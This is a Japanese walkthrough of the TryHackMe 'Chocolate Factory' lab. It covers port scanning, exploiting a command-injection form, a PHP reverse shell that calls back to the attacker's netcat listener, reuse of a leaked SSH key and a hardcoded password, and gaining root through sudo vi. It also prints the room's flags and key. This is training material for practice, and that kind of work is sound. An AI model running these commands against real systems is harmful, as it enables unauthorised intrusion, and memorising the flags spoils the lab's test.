0
0

【TryHackMe】Chocolate Factory:Walkthrough

Posted at

概要

TryHackMe「Chocolate Factory」のWalkthroughです。

Task2

Q1.Enter the key you found!

ポートスキャンを実行します。

$ nmap -Pn -sC -sV -A -T4 10.10.155.126 -oN nmap_result
PORT    STATE SERVICE    VERSION
21/tcp  open  ftp        vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.6.55.144
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-rw-r--    1 1000     1000       208838 Sep 30  2020 gum_room.jpg
22/tcp  open  ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 16:31:bb:b5:1f:cc:cc:12:14:8f:f0:d8:33:b0:08:9b (RSA)
|   256 e7:1f:c9:db:3e:aa:44:b6:72:10:3c:ee:db:1d:33:90 (ECDSA)
|_  256 b4:45:02:b6:24:8e:a9:06:5f:6c:79:44:8a:06:55:5e (ED25519)
80/tcp  open  http       Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
100/tcp open  newacct?
| fingerprint-strings: 
|   GetRequest, RPCCheck: 
|     "Welcome to chocolate room!! 
|     ___.---------------.
|     .'__'__'__'__'__,` . ____ ___ \r
|     _:\x20 |:. \x20 ___ \r
|     \'__'__'__'__'_`.__| `. \x20 ___ \r
|     \'__'__'__\x20__'_;-----------------`
|     \|______________________;________________|
|     small hint from Mr.Wonka : Look somewhere else, its not here! ;) 
|_    hope you wont drown Augustus"

ポートの稼働状況が分かりました。

ポート サービス バージョン
21 ftp vsftpd 3.0.3
22 ssh OpenSSH 7.6p1
80 http Apache httpd 2.4.29

80番ポートでWebサイトにアクセスできました。

home page.jpg

ディレクトリ列挙を行います。

$ dirsearch -u http://10.10.155.126
[15:43:34] 200 -  330B  - /home.php
[15:43:36] 200 -  273B  - /index.php.bak

/home.phpにアクセスするとコマンドを実行できるフォームが表示されました。

home php.jpg

フォームを送信し、OSコマンドを実行出来ました。

command injection.jpg

index.php.bakをダウンロードしました。
/home.phpのソースコードである可能性が高いです。

index.php.bak
<html>
<body>
<form method="POST">
    <input id="comm" type="text" name="command" placeholder="Command">
    <button>Execute</button>
</form>
<?php
    if(isset($_POST['command']))
    {
        $cmd = $_POST['command'];
        echo shell_exec($cmd);
    }
?>

PHPのリバースシェルコマンドを送信し、接続を確立しました。

php -r '$sock=fsockopen("10.6.55.144",1234);shell_exec("sh <&3 >&3 2>&3");'
$ nc -lvnp 1234                                        
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.155.126] 41234
whoami
www-data

TTYを設定します。

python -c 'import pty; pty.spawn("/bin/sh")'

/var/www/html/key_rev_keyの文字列を確認するとキーが見つかりました。

$ strings key_rev_key

(省略)

Enter your name: 
laksdhfas
 congratulations you have found the key:   
b'-VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY='
 Keep its safe
Bad name!

A.b'-VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY='

Q2.What is Charlie's password?

/var/www/html/validate.phpからcharlieのパスワードを確認できました。

/var/www/html/validate.php
<?php
    $uname=$_POST['uname'];
    $password=$_POST['password'];
    if($uname=="charlie" && $password=="cn7824"){
            echo "<script>window.location='home.php'</script>";
    }
    else{
            echo "<script>alert('Incorrect Credentials');</script>";
            echo "<script>window.location='index.html'</script>";
    }

A.cn7824

Q3.change user to charlie

charlieアカウントにSSH接続します。
/home/charlie/teleport.pubでSSHの公開鍵を確認できました。

/home/charlie/teleport.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhp2s9zdSH3xFgOtnwJQEOBYsQ1TJsXrSUyT1hA4ENH6Cm5FbUDMvXYrfn8yLdXC2nQ1LCaVLuFrjL2y/aQ9e/yUU6YuLUVXaGqVA8vD+6ecQXBRsvgoGoF6YgN59XmnEyYKqqC4lciTOSUAhc1iF/EuvxwFL8cmiH/uqYuqsOhc2HBiMHfOCi/tFS2TXkm/XUPQi2zKvnim9iEJCB2iitTuXjYRklrIiiYcqifWOSh93X+hh84HCDPok6U0fWMUmjIhmDY6YSGdKNSW1n2ZLOZDK/czgA5FCjdl4tv7NudInJwQRFo5s+VvR1HLcqg3v2W352H6NKD90z9Nhh7kvj charlie@chocolate-factory

/home/charlie/teleportはSSHの秘密鍵でした。

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA4adrPc3Uh98RYDrZ8CUBDgWLENUybF60lMk9YQOBDR+gpuRW
1AzL12K35/Mi3Vwtp0NSwmlS7ha4y9sv2kPXv8lFOmLi1FV2hqlQPLw/unnEFwUb

(省略)

G2QwOAGbsQHcI0P19XgHTOB7Dm69rP9j1wIRBOF7iGfwhWdi+vln
-----END RSA PRIVATE KEY-----

Kaliに/home/charlie/teleportをコピーし、パーミッションを設定します。

$ chmod 600 id_rsa

パスワードcn7824を使用して秘密鍵でSSH接続できました。

$ ssh -i id_rsa charlie@10.10.155.126

Q4.Enter the user flag

/home/charlie/user.txtからフラグを入手できます。

/home/charlie/user.txt
flag{cd5509042371b34e4826e4838b522d2e}

A.flag{cd5509042371b34e4826e4838b522d2e}

Q5.Enter the root flag

Hint.Try python instead of python3!

sudo -lで確認します。

$ sudo -l
Matching Defaults entries for charlie on chocolate-factory:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User charlie may run the following commands on chocolate-factory:
    (ALL : !root) NOPASSWD: /usr/bin/vi

GTFOBinsで権限昇格のテクニックがヒットしました。

実行し、rootのシェルを取得できました。

$ sudo /usr/bin/vi -c ':!/bin/sh' /dev/null
# whoami
root

/root配下を確認すると/root/root.pyを発見しました。

# ls -l /root
total 4
-rwxr-xr-x 1 charlie charley 491 Oct  1  2020 root.py

処理を見ると、適切なキーを与えればメッセージを復号できそうです。

/root/root.py
from cryptography.fernet import Fernet
import pyfiglet
key=input("Enter the key:  ")
f=Fernet(key)
encrypted_mess= 'gAAAAABfdb52eejIlEaE9ttPY8ckMMfHTIw5lamAWMy8yEdGPhnm9_H_yQikhR-bPy09-NVQn8lF_PDXyTo-T7CpmrFfoVRWzlm0OffAsUM7KIO_xbIQkQojwf_unpPAAKyJQDHNvQaJ'
dcrypt_mess=f.decrypt(encrypted_mess)
mess=dcrypt_mess.decode()
display1=pyfiglet.figlet_format("You Are Now The Owner Of ")
display2=pyfiglet.figlet_format("Chocolate Factory ")
print(display1)
print(display2)
print(mess)

キーはQ1で見つけています。
/root/root.pyをKaliにコピーしソースコードのキーの部分を編集します。

python.py
from cryptography.fernet import Fernet
import pyfiglet
key=input("Enter the key:  ")

# 変更
f=Fernet(b'-VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY=')

encrypted_mess= 'gAAAAABfdb52eejIlEaE9ttPY8ckMMfHTIw5lamAWMy8yEdGPhnm9_H_yQikhR-bPy09-NVQn8lF_PDXyTo-T7CpmrFfoVRWzlm0OffAsUM7KIO_xbIQkQojwf_unpPAAKyJQDHNvQaJ'
dcrypt_mess=f.decrypt(encrypted_mess)
mess=dcrypt_mess.decode()
display1=pyfiglet.figlet_format("You Are Now The Owner Of ")
display2=pyfiglet.figlet_format("Chocolate Factory ")
print(display1)
print(display2)
print(mess)

pythonで実行し、フラグを入手できました。

$ python python.py          
Enter the key:  
__   __               _               _   _                 _____ _          
\ \ / /__  _   _     / \   _ __ ___  | \ | | _____      __ |_   _| |__   ___ 
 \ V / _ \| | | |   / _ \ | '__/ _ \ |  \| |/ _ \ \ /\ / /   | | | '_ \ / _ \
  | | (_) | |_| |  / ___ \| | |  __/ | |\  | (_) \ V  V /    | | | | | |  __/
  |_|\___/ \__,_| /_/   \_\_|  \___| |_| \_|\___/ \_/\_/     |_| |_| |_|\___|
                                                                             
  ___                              ___   __  
 / _ \__      ___ __   ___ _ __   / _ \ / _| 
| | | \ \ /\ / / '_ \ / _ \ '__| | | | | |_  
| |_| |\ V  V /| | | |  __/ |    | |_| |  _| 
 \___/  \_/\_/ |_| |_|\___|_|     \___/|_|   
                                             

  ____ _                     _       _       
 / ___| |__   ___   ___ ___ | | __ _| |_ ___ 
| |   | '_ \ / _ \ / __/ _ \| |/ _` | __/ _ \
| |___| | | | (_) | (_| (_) | | (_| | ||  __/
 \____|_| |_|\___/ \___\___/|_|\__,_|\__\___|
                                             
 _____          _                    
|  ___|_ _  ___| |_ ___  _ __ _   _  
| |_ / _` |/ __| __/ _ \| '__| | | | 
|  _| (_| | (__| || (_) | |  | |_| | 
|_|  \__,_|\___|\__\___/|_|   \__, | 
                              |___/  

flag{cec59161d338fef787fcb4e296b42124}

A.flag{cec59161d338fef787fcb4e296b42124}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0